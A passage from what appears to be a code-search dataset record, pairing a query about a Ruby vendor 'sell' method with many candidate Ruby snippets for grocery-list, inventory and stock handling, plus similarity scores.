list to the console (we will use the last method)\n print_list(hsh)\n \n # output: hash data structure of key/value pairs\n return hsh\nend", "def add_item(list, item, quantity)\n list[item] = quantity\n list\nend", "def item_adder(hash, item, quantity = 1)\n #hash[item] = hash[item].to_i + quantity\n x = hash[item].to_i + quantity\n hash.merge!(item => x)\nend", "def create_list(grocery_items)\n grocery_list = Hash.new(0)\n grocery_items.split.each { |item| grocery_list[item] += 1 }\n grocery_list\nend", "def inventory_array(older, newer)\n\n march = Hash.new 0\n april = Hash.new 0\n\n older.each { |k, v| march[k] = v }\n newer.each { |k, v| april[k] = v }\n\n results = march.merge(april)\n results.each_pair.to_a.sort\nend", "def sync_inventory\n\t\t@inv \t\t\t= Redis::HashKey.new('inventory') if @inv.blank?\t\t# new is a \"new\" connection to Redis, not new :)\n\t\tself.quantity \t= @inv[self.name]\t\t\t\t\t\t\t\t\t\t# self.quantity = inventory[\"#{self.name}\"]\n\tend", "def add_to_list(new_item, quantity)\n #addition = { new_item => quantity }\n addition = Hash.new\n addition[new_item] = quantity\n new_list = addition.merge($old_list.to_h)\n #p new_list\nend", "def update_item_quantity(list, item, quantity)\n list[item] = quantity\n list\nend", "def add_item(hash, item, quantity)\n if !hash.has_key?(item)\n hash[item] = quantity\n end\n return hash\nend", "def create_list (items)\n item_array = []\n item_array = items.split(' ')\n item_hash = {}\n item_array.each do |list_item|\n item_hash[list_item] = 0\n end\nend", "def create_list(items_string)\r\n\tdefault_quantity = 1\r\n\r\n\tgrocery_list = Hash.new{|hash, key| hash[key] = default_quantity}\r\n\titems_array = items_string.split(\" \")\r\n\t\r\n\titems_array.each do |item| \r\n\t\tgrocery_list[item.to_sym]\r\n\tend\r\n\tprint_list(grocery_list)\r\n\tgrocery_list\r\nend", "def update_quantity(list, item, quantity)\n list[item] = quantity.to_i\n list\nend", "def list_add(hash_items, item_name, quantity = 1)\n hash_items [item_name] = quantity\n return hash_items\nend", "def create_hash(items, default_qty = 0)\n groceries = {}\n items.split.each { |food| groceries[food] = default_qty }\n groceries \nend", "def hash\n [allocated_to_placed_orders, allocated_to_shopping_carts, available_to_allocate, cogs, desired_inventory_level, distribution_center_code, distribution_center_oid, eta, handles, inventory_level, maximum_backorder, reorder_inventory_level, sku, stock_picking_location].hash\n end", "def add_item(hash, item, quantity)\n\t hash[item] = quantity\n\t return hash\nend", "def add_item(item, quantity=1, hash)\n# get item name and quantity\n# if there's no quantity, set it to 1\n\thash[item] = quantity\n\t# output: return the hash with updated key/value pairs\n\thash\nend", "def add_item_to_list(hash, item_to_add, qty)\n hash[item_to_add] = qty\nend", "def new_qty(list, item, qty)\n list[item] = qty\n return list\nend", "def grocerylist(items)\n itemhash = {}\n items.split(\" \").each do |items|\n itemhash[items] = 0\n end\n # p itemhash\n return itemhash\nend", "def update_quantity(hash, item, quantity)\n\thash[item] = quantity\n\treturn hash\nend", "def add(item, quantity, hash)\n hash[item] = quantity\nend", "def store_items\n store = {\n \"yogurts\" => 2,\n \"meat\" => 7,\n \"vegetables\" => 5,\n \"potatoes\" => 2,\n \"rice\" => 1\n }\n return store\nend", "def update_qty(list_hash, item, qty)\r\n \tlist_hash[item] = qty\r\n \tlist_hash\r\nend", "def initialize\n @max_xp = 7440\n @current_xp = 1\n @max_hp = 10\n @current_hp = 10\n @level = calculate_level(@current_xp)\n @ac = 10\n @gold = 10\n @move_speed = 30\n @inventory = { equipment: { armor: 'none',\n shield: 'none',\n weapon: 'rusted sword'\n },\n treasure: Array.new(6),\n one_use_items: Array.new(4)\n }\n\n end", "def add(list, item, quantity)\r\n\tlist[item] = quantity\r\n\tlist\r\nend", "def initialize\n @items = Hash.new\n @item_id_count = 0\n end", "def add_item(hash, item, quantity=1)\r\n grocery_list=hash\r\n if grocery_list.include?item\r\n grocery_list[item]+=quantity\r\n else\r\n grocery_list[item]=quantity\r\n end\r\n p grocery_list\r\nend", "def create_list(item)\n list = {}\n new_item = item.split(\" \")\n \n new_item.each do |food|\n list[food] = 0\n end\n return list\nend", "def add_item(list, item_name, quantity = 1)\n if list.include?(item_name)\n list[item_name] += quantity\n else\n list[item_name] = quantity\n end\n list\nend", "def update_quantity(list,item,item_count)\n\tlist[item] = item_count\nend", "def add_item(list, item, qty)\n list[item] = qty\n p list\nend", "def create_a_list(items)\n item_array = items.split\n shopping_list = {}\n item_array.each do |x|\n shopping_list[x] = 1\n end\n #shopping_list.store(items)\n shopping_list\nend", "def add_item(hash, new_item, qty)\n hash[new_item] = qty\n hash \nend", "def item_price_change_hash\n new_item_list = {}\n self.items.each do |item|\n new_item_list[item.price_dif] = item\n end\n new_item_list\n end", "def add_item(hash_of_items, item, quantity=1)\n hash_of_items[item] = quantity\n hash_of_items\nend", "def update_quantity(hash, item, quantity)\n hash[item] = quantity\n return hash\nend", "def add_item(hash,item)\n hash[:inventory].push(item)\nend", "def update_item_quantity(hash, item, quantity)\n hash[item] = quantity\n hash\nend", "def update_quantity(list, item, qty)\n list[item] = qty\n list\nend", "def update_qty!(list, item, qty)\r\n counter = 0\r\n if list.include?(item)\r\n list[item] = qty\r\n else\r\n puts \"Sorry, that item isn't in the list\"\r\n end\r\n list\r\nend", "def update_quantity(list, item, quantity)\n list[item] = quantity\n list\nend", "def update_quantity(list, item, quantity)\n list[item] = quantity\n list\nend", "def add_item(list, item, quantity)\n list[item] = quantity\n return list\nend", "def add_item(list, item_name, quantity = 1)\n # steps:\n # check IF item is included in list\n # increment item by quantity\n # ELSE - set item as new key and assign it to quantity as value\n list.include?(item_name) ? list[item_name] += quantity : list[item_name] = quantity\n\n # output: return the updated hash\n list\nend", "def add_to_inventory(category, product, quantity, price, refid)\n @inventory = {\n category => [\n product: product,\n quantity: quantity,\n price: price,\n refid: refid\n ]\n}\nend", "def add_item(current_list, item_added, quantity)\n current_list[item_added] = quantity\n current_list\nend", "def update_quant (olist, item, quant)\n olist[item] = quant\n olist\nend", "def change_qty(list, item, qty)\n if list.has_key?(item) == false\n puts \"Item not found\"\n else\n qty.to_i\n list[item] = qty\n end\n list\nend", "def add_item(list, item, quantity)\n\n\tlist[item] = quantity\n\tlist\n\nend", "def add(item, quantity, hash)\n hash[item] = quantity\n puts hash\nend", "def purchase_quantity\n\n b = Hash.new(0)\n @arr.each do |v|\n b[v] += 1\n end\n b.each do |k, v|\n puts \"#{k} appears #{v} times\"\n end\n b\n\n end" ]
[ "0.72052574", "0.7013151", "0.69561064", "0.68053037", "0.6694553", "0.6516662", "0.64491326", "0.6430756", "0.6373781", "0.63510877", "0.6343247", "0.63357043", "0.63086253", "0.62898594", "0.62898594", "0.62847584", "0.6256059", "0.6242332", "0.62417936", "0.62377346", "0.6225648", "0.6225553", "0.6221196", "0.62140673", "0.6211227", "0.61998564", "0.6195314", "0.61873955", "0.6173527", "0.6173527", "0.61656404", "0.6153627", "0.6124004", "0.61188394", "0.61135757", "0.61083204", "0.610811", "0.61018336", "0.6100401", "0.60903525", "0.60898167", "0.6086882", "0.6082661", "0.60823405", "0.60727715", "0.607065", "0.6059818", "0.6056834", "0.60531753", "0.6033253", "0.60286856", "0.60285336", "0.6026334", "0.60261834", "0.6019317", "0.6018398", "0.60143584", "0.6013578", "0.60107017", "0.6003083", "0.60019284", "0.599813", "0.5995116", "0.59898585", "0.59781873", "0.59768784", "0.59731084", "0.5969869", "0.59674823", "0.5966904", "0.5963179", "0.59627426", "0.59594715", "0.5947711", "0.5947197", "0.59445596", "0.5943647", "0.59393364", "0.59392285", "0.5936632", "0.5936103", "0.59348494", "0.59343576", "0.59302324", "0.59302", "0.5925178", "0.59247065", "0.5922986", "0.59151953", "0.5914193", "0.5914193", "0.5913888", "0.59132284", "0.59129417", "0.5911128", "0.59089357", "0.5908913", "0.59070086", "0.5904719", "0.59003925" ]
0.7202964
1
This method only partly works. It is able to return true or false deplending on if the item is in stock. And it is able to change the stock of the vendor. If the vendor does not have enough of that stock tho, I was unable to figure out how to move to the next vendor, and subtract the difference from their stock. Spent a while on this, and could not figure out what I was doing wrong.
def sell(item, quantity) if total_inventory.has_key?(item) && quantity < total_inventory[item] @vendors.each do |vendor| if vendor.inventory.has_key?(item) if vendor.inventory[item] >= quantity vendor.inventory[item] -= quantity else vendor.inventory[item] -= quantity diff = vendor.inventory[item].abs vendor.inventory[item] = 0 @vendors.each do |vendor| if vendor.inventory.has_key?(item) if vendor.inventory[item] != 0 require "pry" binding.pry vendor.inventory[item] - diff end end end end end end return true else return false end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update_stock_on_update\n # What has changed?\n product_has_changed = product_changed? rescue false\n store_has_changed = store_changed? rescue false\n quantity_has_changed = quantity_changed? rescue false\n # Previous values\n product_prev = product_was rescue product\n store_prev = store_was rescue store\n quantity_prev = quantity_was rescue quantity\n # Stock\n if product_has_changed || store_has_changed\n # Current Stock\n if !update_stock(product, store, quantity, true)\n return false\n end\n # Roll back Previous Stock\n if !update_stock(product_prev, store_prev, quantity_prev, false)\n return false\n end\n elsif quantity_has_changed\n # Current Stock\n if !update_stock(product, store, quantity - quantity_prev, true)\n return false\n end\n end\n true\n end", "def in_stock?\n if @stock <= 0\n false\n else\n true\n end\n end", "def in_stock?()\n if self.stock >0\n return true\n else\n return false\n end\n end", "def purchase\n \t@stock -= 1\n end", "def lowest_stock # A refactoriser via méthode SQL, on peut faire beaucoup plus court\n # Pour chaque produit récupérer la remaining quantity\n # Vérifier si cette valeur est inférieure à un critère donné\n # Renvoyer la liste de tous les produits concernés\n @products = Product.all\n @products = @products.sort_by do |product|\n product.total_remaining_quantity\n end\n low_stock_trigger = 3 # Plancher de quantité qui trigger l'alimentation de la liste des low_stocks\n low_stock_list = Array.new\n @products.each do |product|\n if product.total_remaining_quantity < low_stock_trigger\n low_stock_list << product\n end\n end\n return low_stock_list.first # Pour l'instant on ne renvoit qu'un item pour qu'on ait une seule notif pour stock bas\n end", "def reduce_stock(amount)\n self.stock = self.stock - amount\n end", "def find_match_and_decrement_available(line_item)\n gs = Orders::LineItemPresenter.new(line_item).global_sku\n if rii = ReturnInventoryItem.where([\"upc= ? and active = true and available > 0\", gs&.id]).first\n rii.available -= 1\n rii.save\n elsif gs\n #do this check since global skus are jacked up and can't be trusted\n gs = GlobalSku.where(\n style_number: gs.style_number,\n product_name: gs.product_name,\n size: gs.size,\n color_id: gs.color_id,\n customisation_id: gs.customisation_id,\n height_value: gs.height_value,\n product_id: gs.product_id,\n ).first\n\n if rii = ReturnInventoryItem.where([\"upc = ? and active = true and available > 0\", gs&.id]).first\n rii.available -= 1\n rii.save\n end\n end\n rii\n end", "def in_stock?\n \t\tif stock > 0 \n \t\t\tTRUE\n \t\telse \n \t\t\tFALSE \n \t\tend\n \tend", "def reorder_stock?\n stock < 100 && !current_reorder ? true : false\n end", "def change_inventory\n order_item_obj = OrderItem.last\n product_id = order_item_obj.product_id\n inventory_of_ordered_product = InventoryStock.where(product_id:product_id)\n quantity_in_inventory = inventory_of_ordered_product[0].quantity\n quantity_in_ordered_item = order_item_obj.quantity\n updated_quantity_in_inventory = quantity_in_inventory.to_i-quantity_in_ordered_item.to_i\n InventoryStock.where(product_id:product_id).update(quantity: updated_quantity_in_inventory)\n end", "def adjust_sku_stock\n if Store.positive?(self.adjustment)\n self.stock_total = self.sku.stock + self.adjustment\n self.sku.update_column(:stock, self.sku.stock + self.adjustment)\n else\n self.stock_total = self.sku.stock - self.adjustment.abs\n self.sku.update_column(:stock, self.sku.stock - self.adjustment.abs)\n end\n end", "def stock_change\n\n\t\tprint \"\\n\\n\\t\\tAre You Confirm(y/n)\"\n\t\toption=gets.chomp\n\n\t\tif option==\"y\" or option==\"Y\"\n\t#fetch product id from inline products\n\t\t\tstatement12=@connection.prepare(\"select p_id from inline_products where card_no=?\")\n\t\t\tstatement12.execute(@card_no)\n\n\t\t\twhile recordset12=statement12.fetch do\n\t\t#fetch quantity from shoping card and update stock in products \n\t\t\t\tstatement13=@connection.prepare(\"update products set p_stock=p_stock-(select quantity from \n\t\t\t\t\tinline_products where p_id=? and card_no=?) where p_id=?\")\t\t\t\n\t\t\t\tstatement13.execute(recordset12[0],@card_no,recordset12[0])\n\t\t\t\t\n\t\t\tend\n\t\t#call print_bill method\n\t\t\tprint_bill\n\n\t\telsif option==\"n\" or option==\"N\"\n\t\t#call delete_entry method\n\t\t\tdelete_entry\n\t\t#delete user details if user not buy anything\n\t\t\tstatement=@connection.prepare(\"delete from users where user_id=?\")\n\t\t\tstatement.execute(@user_id)\n\n\t\t\texit -1\n\n\t\telse\n\t\t\tputs \"\\n\\n\\t\\tInvalid Choice!!!...Try again\"\n\t\t#call stock_chnage method\n\t\t\tstock_change\n\t\tend\n\tend", "def enough_stock?\n\t\tif self.product.stock == 0\n\t\t\treturn false\n\t\telse\n\t\t\treturn self.product_quantity <= available_stock\n\t\tend\n\t\t#self.product_quantity <= self.product.stock\n\tend", "def trade_item_with_party(new_item, old_item)\n return false if new_item && !$game_party.has_item?(new_item)\n $game_party.force_gain_item(old_item, 1)\n $game_party.force_gain_item(new_item, -1)\n return true\n end", "def decrease_stock\n \t\tif @stock > 0\n \t\t\tthen @stock -= 1\n \t\telse \n \t\t\traise OutOfStockError, \"'#{@title}' is out of stock.\"\n \t\tend\n \tend", "def decrease_stock\n\t\t@stock -= 1\n\tend", "def reduce_stock\n\t\t# suggested by udacity code review\n=begin\n\t\tThis is actually the best place to raise your out of stock error, \n\t\tsince it's the last time you can check the stock before actually depleting it.\n\t\tIt's a good principle to let objects handle errors related to their own attributes\n\t\trather than raising it externally, which is what you've done here,\n\t\tby raising the error in the Customer class.\n=end\t\n\t\traise OutOfStockError, \"#{title} is out of Stock.\" unless self.in_stock?\n\t @stock -= 1\n\tend", "def update_stock(_product, _store, _quantity, _is_new)\n if _product.product_type.id != 2\n _stock = Stock.find_by_product_and_store(_product, _store)\n if !_stock.nil?\n _stock.current = _is_new ? _stock.current - _quantity : _stock.current + _quantity\n if !_stock.save\n return false\n end\n end\n end\n true\n end", "def get_from_product_stock(product_id, quantity_to_add)\n product = Product.find_by(id: product_id)\n if (product.stock >= quantity_to_add)\n product.stock -= quantity_to_add\n self.quantity += quantity_to_add\n\n if self.valid? && product.valid?\n self.save\n product.save\n return self\n end\n end\n end", "def in_stock?\n true\n end", "def deduct_quantity\n line_items.each do |i|\n i.product.current_stock -= i.quantity\n i.product.save\n end\n end", "def changeItem\n locationItem = current_company.locations.where(id: params[:locationId]).first.items.where(id: params[:id]).first\n locationItem.increment!(:amount, params[:amount].to_i)\n if(locationItem.amount <= locationItem.restockPoint && locationItem.lastSupplier != locationItem.location.id)\n previousSupplierItem = Location.where(id:locationItem.lastSupplier).first.items.where(name:locationItem.name).first\n if(previousSupplierItem.amount > (locationItem.restockTo - locationItem.amount))\n previousSupplierItem.increment!(:amount, -(locationItem.restockTo - locationItem.amount))\n # PRETEND CASH ISN\"T A THING YET\n # locationItem.location.company.increment!(:cash, -previousSupplierItem.price * (locationItem.restockTo - locationItem.amount))\n locationItem.update(amount: locationItem.restockTo)\n else\n locationItem.increment!(:amount, previousSupplierItem.amount)\n # PRETEND CASH ISN\"T A THING YET\n # locationItem.location.company.increment!(:cash, -previousSupplierItem.price * previousSupplierItem.amount)\n previousSupplierItem.amount = 0\n end\n if(previousSupplierItem.amount <= previousSupplierItem.restockPoint)\n changeItemSupplier(previousSupplierItem.id)\n end\n end\n end", "def available_stock\n @available_stock ||= current_stock - stocks.sum('quantity')\n end", "def update_stock_on_destroy\n # Update current Stock\n if !update_stock(product, store, quantity, false)\n return false\n end\n true\n end", "def changeItemSupplier(itemId)\n locationItem = Item.where(id: itemId)\n previousSupplierItem = Location.where(id:locationItem.lastSupplier).first.items.where(name:locationItem.name).first\n if(locationItem != previousSupplierItem)\n if(previousSupplierItem.amount > (locationItem.restockTo - locationItem.amount))\n previousSupplierItem.increment!(:amount, -(locationItem.restockTo - locationItem.amount))\n # PRETEND CASH ISN\"T A THING YET\n # locationItem.location.company.increment!(:cash, -previousSupplierItem.price * (locationItem.restockTo - locationItem.amount))\n locationItem.update(amount: locationItem.restockTo)\n else\n locationItem.increment!(:amount, previousSupplierItem.amount)\n # PRETEND CASH ISN\"T A THING YET\n # locationItem.location.company.increment!(:cash, -previousSupplierItem.price * previousSupplierItem.amount)\n previousSupplierItem.amount = 0\n end\n if(previousSupplierItem.amount <= previousSupplierItem.restockPoint)\n changeItemSupplier(previousSupplierItem.id)\n end\n end\n end", "def update_stock\n for charge in self.charges\n charge.item.update_attribute(:stock, (charge.item.stock.to_i-1)) \n end\n end", "def out_of_stock?\n quantity.zero? || reserved_count == quantity\n end", "def in_stock?\n stock\n end", "def stock_minus(product, amount)\n product = Product.find(product)\n quantity = product.quantity\n quantity -= amount.to_i\n product.update(quantity: quantity)\n end", "def in_stock?\n \treturn @stock > 0 ? true : false\n end", "def receive_quietly backordered_units\n \n return if backordered_units.count < 1\n \n # TODO backordered units are not in stock\n \n self.variant.update_column(:count_on_hand, self.variant.on_hand + backordered_units.count)\n self.variant.save\n backordered_units.each(&:fill_backorder)\n \n end", "def in_stock?(product, quantity = 1)\n @inventory[product] && @inventory[product][\"quantity\"] >= quantity\nend", "def trade_item_with_party(new_item, old_item)\n return false if new_item && !$game_party.has_item?(new_item)\n temp = UI_MSG::ITEM\n UI_MSG.const_set(:ITEM, false)\n $game_party.gain_item(old_item, 1)\n $game_party.lose_item(new_item, 1)\n UI_MSG.const_set(:ITEM, temp)\n return true\n end", "def item_stocking?(item)\n item_stocking_items.include?(item)\n end", "def stock_adjustment\n if Store.positive?(self.adjustment)\n self.stock_total = self.sku.stock_adjustments.first.stock_total + self.adjustment\n self.sku.update_column(:stock, self.sku.stock + self.adjustment)\n else\n self.stock_total = self.sku.stock_adjustments.first.stock_total - self.adjustment.abs\n self.sku.update_column(:stock, self.sku.stock - self.adjustment.abs)\n end\n end", "def delete_if_stock_too_low\n self.status_constant = SupplyItem::DELETED if self.stock < 0\n end", "def buy_bot(percent_increase = 0.05, chunk = 0.006, prepump_buffer = 0.5)\n market_name = @market_name\n low_24_hr, last_price, ask_price, volume = get_market_summary(market_name)\n total_spent = 0.0\n p [low_24_hr, last_price, ask_price, volume]\n if volume < 100 and last_price < (1.0 + prepump_buffer) * low_24_hr #last_price is smaller than 50% increase since yerterday\n puts \"Coin is not prepumped\".blue\n order = buy_chunk(last_price, market_name, percent_increase, chunk)\n p [order, \"Units Bought : #{@units_bought}\"]\n end\nend", "def trade(ticker, day)\n # this day's price\n price = @account.broker.exchange.quote(ticker, day)\n\n# if @last_purchase.key? ticker # If we've purchased this stock before, we continue with Dr. Rushton's trading rule.\n if @account.portfolio[ticker] == 0 # try to buy the given ticker\n last_hold_time = if @last_purchase[ticker][:buy_day] && @last_purchase[ticker][:sell_day]\n @last_purchase[ticker][:buy_day] - @last_purchase[ticker][:sell_day]\n else\n 0\n end\n \n # Wait for a time interval equal to gamma * HT to pass (cool-down period) OR Price < P to buy more\n if(!@last_purchase.key?(ticker) || \n price < @last_purchase[ticker][:price] || \n @last_purchase[ticker][:sell_day] - day >= @gamma * last_hold_time)\n s = @account.buy_amap(ticker, day, @amount_per_company)\n @last_purchase[ticker] = {price: price, buy_day: day}\n puts \"bought #{s} shares of #{ticker} on #{@account.broker.exchange.eod(ticker, day).date}\" if $DEBUG\n end\n else # try to sell our holdings of the given ticker\n # compute t, the return multiplier, given the interval between now and last purchase of the given stock (ticker)\n t = @fn_t.call(@last_purchase[ticker][:buy_day] - day)\n\n # compute alpha, given the value t, to determine the percentage gain multiplier\n alpha = @fn_alpha.call(t)\n\n puts \"t = #{t}\", \"alpha = #{alpha}\" if $DEBUG\n\n puts \"price of #{ticker} on #{@account.broker.exchange.eod(ticker, day).date} is #{price}\" if $DEBUG\n\n if(price > (1.0 + alpha) * @last_purchase[ticker][:price])\n s = @account.sell_all(ticker, day)\n @last_purchase[ticker][:sell_day] = day\n puts \"sold #{s} shares of #{ticker} on #{@account.broker.exchange.eod(ticker, day).date}\" if $DEBUG\n end\n end\n# else # We use SMA to make our initial purchase of each stock\n# # compute average over number of days\n# avg = average_price(ticker, day)\n\n # if price > avg -> price - avg = positive\n # price < avg -> price - avg = negative\n # price = avg -> price - avg = 0\n# @price_relation_to_average[\"#{ticker}#{day}\"] = price - avg\n\n # decide whether the price has just upcrossed or downcrossed the MA line\n# if(price > avg && @price_relation_to_average[\"#{ticker}#{day + 1}\"] < 0) # upcross - BUY as much as possible\n# s = @account.buy_amap(ticker, day, @amount_per_company)\n# @last_purchase[ticker] = {price: price, buy_day: day}\n# puts \"bought #{s} shares of #{ticker} on #{@account.broker.exchange.eod(ticker, day).date}\" if $DEBUG\n# end\n# end\n \n puts \"account: #{@account.to_s(day)}\" if $DEBUG\n end", "def stock_picker(stocks)\n\traise \"You are suck, use array!\" unless stocks.is_a? Array\n\traise \"You are a sock, use numbers!\" unless stocks.all? {|num|num.is_a? Numeric}\n\n buy = 0\n sell = 0\n difference = 0\n\n stocks.each_with_index do |first_number, first_index|\n first_index.upto(stocks.size - 1 ) do |second_index|\n second_number = stocks[second_index]\n\n if second_number - first_number > difference\n difference = second_number - first_number\n buy, sell = first_index, second_index\n end\n\n end\n end\n\n [buy, sell]\n\nend", "def quantity_based_on_stock\n if self.quantity > self.item.stock\n errors.add(:quantity, \"should not exceed what's available in stock\")\n end\n end", "def shipped\n corresponding_item = self.item.take\n current_inventory = corresponding_item.inventory_level\n corresponding_item.update_attribute(:inventory_level, (self.quantity + current_inventory)) unless previous.nil?\n self.update_attribute(:shipped_on, date.current.to_date)\n\n def item_exists_and_active?\n all_active_items = Item.active.all.map(&:id)\n if all_active_items.include?(self.item_id)\n return true\n end\n errors.add(:item_id, \"is not an active item at the chess store\")\n return false\n end\n\n def subtotal(date = nil)\n end\n\n def valid_quantity?\n if self.quantity >= 0\n return true\n end\n stock_quantity = self.item.inventory_level\n if (self.quantity* -1) > stock_quantity\n errors.add(:quantity, \"too much purchase quantity\")\n return false\n end\n return true\n end\nend", "def update_product\n if inbound_order? || quantity_adjustment?\n product.update(stock: product.stock + quantity)\n else outbound_order?\n product.update(stock: product.stock - quantity)\n end\n end", "def brand_toy_stock item\n\t$num_stock = 0\n\t$same_brand.each {|item| $num_stock += item[\"stock\"]}\nend", "def update_stock_for_seller(seller, fetch_fba_qty)\n stock_values = {}\n inf_variant_ids = Spree::QuantityInflation.pluck(:variant_id)\n var_ids = Spree::Variant.where(:id=>inf_variant_ids).pluck(:product_id)\n # products = inf_variant_ids.present? ? (seller.products.where(\"is_approved=true AND kit_id IS NULL\").where(\"id NOT IN (?)\", var_ids)) : (seller.products.where(\"is_approved=true AND kit_id IS NULL\"))\n products = inf_variant_ids.present? ? (seller.products.where(\"is_approved=true\").where(\"id NOT IN (?)\", var_ids)) : (seller.products.where(\"is_approved=true\"))\n products.each do |product|\n variants = []\n variants << (product.variants.present? ? product.variants : product.master)\n variants = variants.flatten\n type = STOCKCONFIG[product.stock_config_type] == \"default\" ? STOCKCONFIG[seller.stock_config_type] : STOCKCONFIG[product.stock_config_type]\n smps = seller.seller_market_places.where(:is_active=>true)\n mps = seller.market_places.where(\"spree_market_places.id IN (?)\", smps.map(&:market_place_id))\n variants.each do |variant|\n begin\n Spree::Variant.fetch_qty_from_fba(smps.first,variant) if fetch_fba_qty\n variant = variant.reload\n stock_products = variant.stock_products.where(\"sellers_market_places_product_id IN (?)\", product.sellers_market_places_products.where(\"market_place_id IN (?)\",smps.map(&:market_place_id)).map(&:id))\n if stock_products.present?\n case type\n when \"fixed_quantity\"\n stock_values.merge!(variant.id=>Spree::StockProduct.fixed_quantity_setting(stock_products, variant, mps)) if !fetch_fba_qty\n when \"percentage_quantity\"\n stock_values.merge!(variant.id=>Spree::StockProduct.fixed_quantity_setting(stock_products, variant, mps))\n #stock_values.merge!(variant.id=>Spree::StockProduct.percentage_quantity_setting(stock_products, variant, mps))\n when \"flat_quantity\"\n stock_values.merge!(variant.id=>Spree::StockProduct.flat_quantity_setting(stock_products, variant, mps))\n end # end of case\n end\n rescue Exception => e\n end\n end # end of variant loop\n end # end of product loop\n return update_stock_market_places(stock_values)\n end", "def buy\n if self.inventory_count == 0\n return false\n else\n # for now, decrementing the inventory count when purchasing a product will do\n self.decrement!(:inventory_count)\n # in the future, could return a receipt number, etc.\n return true\n end\n end", "def pick_stocks(stocks)\n stocks = stocks[0]\n max_profit = 0\n min_stock = stocks[0]\n index1_temp = 0\n index1_lock = 0\n index2 = 0\n for i in 1...stocks.length()\n if stocks[i] < min_stock\n min_stock = stocks[i]\n index1_temp = i\n else\n if max_profit < (stocks[i]-min_stock)\n max_profit = stocks[i]-min_stock\n index2 = i\n index1_lock = index1_temp\n end\n end\n end\n if index1_lock == index2\n puts \"Not a good time to invest\"\n else\n puts \"I would recommend buying on Day #{index1_lock + 1} and selling on Day #{index2 + 1}.\"\n end\nend", "def calculate_difference\n unless final?\n self.difference = stocked? ? current - on_hand : current\n end\n self\n end", "def withdraw exit_date, estimated_return_date, pickup_company, pickup_company_contact, additional_comments, quantity, folio\n \n return self.status if cannot_withdraw?\n\n if quantity != '' and quantity < self.quantity.to_i\n self.quantity = self.quantity.to_i - quantity\n quantity_withdrawn = quantity\n else\n self.status = InventoryItem::OUT_OF_STOCK\n quantity_withdrawn = self.quantity\n self.quantity = 0\n end\n \n if self.save\n inventory_item = InventoryItem.where( 'actable_id = ? AND actable_type = ?', self.id, 'BulkItem' ).first\n if self.warehouse_locations?\n quantity_left = quantity\n if quantity != '' and quantity < ( self.quantity.to_i + quantity_withdrawn.to_i )\n item_location = self.item_locations.where( 'quantity >= ?', quantity ).first\n location = item_location.warehouse_location\n location.remove_quantity( inventory_item.id, quantity )\n elsif quantity != ''\n while quantity_left > 0\n item_location = self.item_locations.first\n location = item_location.warehouse_location\n if quantity_left >= item_location.quantity \n current_location_quantity = item_location.quantity \n location.remove_item( inventory_item.id )\n self.item_locations.delete( item_location )\n location.update_status\n else\n location.remove_quantity( inventory_item.id, quantity_left )\n end\n quantity_left = quantity_left - current_location_quantity\n end\n else\n item_location = self.item_locations.first\n location = item_location.warehouse_location\n location.remove_item( inventory_item.id )\n self.item_locations.delete( item_location )\n location.update_status\n end\n end\n CheckOutTransaction.create( :inventory_item_id => inventory_item.id, :concept => 'Salida granel', :additional_comments => additional_comments, :exit_date => exit_date, :estimated_return_date => estimated_return_date, :pickup_company => pickup_company, :pickup_company_contact => pickup_company_contact, :quantity => quantity_withdrawn, :folio => folio )\n return true\n end\n\n return false\n end", "def is_available?\n stock > 0\n end", "def on_hand_stock(outstanding_orders)\n self.movie_copies.pluck(:stock).sum - outstanding_orders\n end", "def test_drinks_stock_decreases_if_room_serves_drink\n @room1.add_drinks_to_stock(@drink1)\n @room1.add_drinks_to_stock(@drink2)\n @room1.serve_drink_to_guest(@guest2, @drink2)\n assert_equal(1, @room1.show_drinks_count())\n end", "def update_stock\n operador = self.notas_creditos_debito.tipo == 'DevolucionCompra' ? -1 : 1\n if deleted?\n MercaderiaExtracto.eliminar_movimiento(self, self.notas_creditos_debito.fecha, cantidad * operador*-1)\n else\n MercaderiaExtracto.crear_o_actualizar_extracto(self, self.notas_creditos_debito.fecha, cantidad_was.to_f * operador, cantidad * operador)\n end\n end", "def check_luxire_inventory\n order = Spree::Order.find(params[:order_id])\n line_items = order.line_items\n line_items.each do |line_item|\n variant = Spree::Variant.find(line_item.variant_id)\n product = variant.product\n unless Spree::Product.non_depletable_product.include? product.name.downcase\n length_required_per_product = product.luxire_product.length_required\n quantity = line_item.quantity\n stock = product.luxire_stock\n unless stock.backorderable\n total_length_required = length_required_per_product * quantity\n if(stock.virtual_count_on_hands - total_length_required < 0)\n response = {msg: \"#{product.name} is out of stock\"}\n render json: response.to_json, status: 422 and return\n end\n end\n end\n end\n end", "def update_cart\n product = Product.find_by_cs_sku(params[:sku])\n item = ReservedItem.where('user_id = ? and product_id = ? and session_id = ?', current_user.id,\n product.id,\n session.id).first\n qty = BigDecimal.new(get_qty)\n\n if available?(product, item, qty)\n product.update_attribute(:qty, (product.qty + item.qty) - qty)\n item.update_attribute(:qty, qty)\n respond_with_format { @cart.update_item(params[:sku], get_qty) }\n else\n flash[:error] = 'Not enough item in inventory'\n respond_with_format\n end\n end", "def pick_out(amnt)\n if amount - amnt > CONST::PRODUCT_IN_STOCK && on_sell?\n update(amount: amount - amnt)\n else\n errors.add(\n :base,\n Response::PRODUCT[:PRODUCT_IN_STOCK]\n ); false\n end\n end", "def sell_stock(portfolio_name, ticker, number_of_shares_to_sell)\n total_value = number_of_shares_to_sell * ticker.price\n ###calls has_portfolio function\n if has_portfolio(portfolio_name)\n @portfolios.each do |item|\n if item.name == portfolio_name\n ###calls get_shares_of_stock function in portfolio class\n ###updates balance\n if item.get_shares_of_stock(ticker) >= number_of_shares_to_sell\n item.remove_stock(ticker, number_of_shares_to_sell)\n @balance += total_value\n else\n puts \"You do not have enough #{ticker.ticker.upcase} shares to sell #{number_of_shares_to_sell} shares.\"\n end\n end\n end\n else\n puts \"You currently do not have that portfolio. You need to create it first.\"\n end\n end", "def computeBuySellToMaximizeProfit()\n currentStock = \"\"\n i = 0 # Loop counter\n while i < @days.size do # Traverse the data for each date to find price differences\n if i == @days.size - 1 # For the final week\n puts \"#{@days[i]} SELL #{currentStock}\"\n break\n end\n weeklyDifferences = [] # Stores the price differences between closing prices for all stocks in a particular week\n @data.each_with_index do |(key, value), index| # Traverse the data corresponding to current date for each key (stock)\n stockDifferences = {} # Stores the price difference between closing prices for a stock in a particular week\n stockDifferences[:stock] = key\n stockDifferences[:difference] = (value[i+1][:close].to_f - value[i][:close].to_f).round(5) # value[i+1] represents the next date for the stock data\n weeklyDifferences << 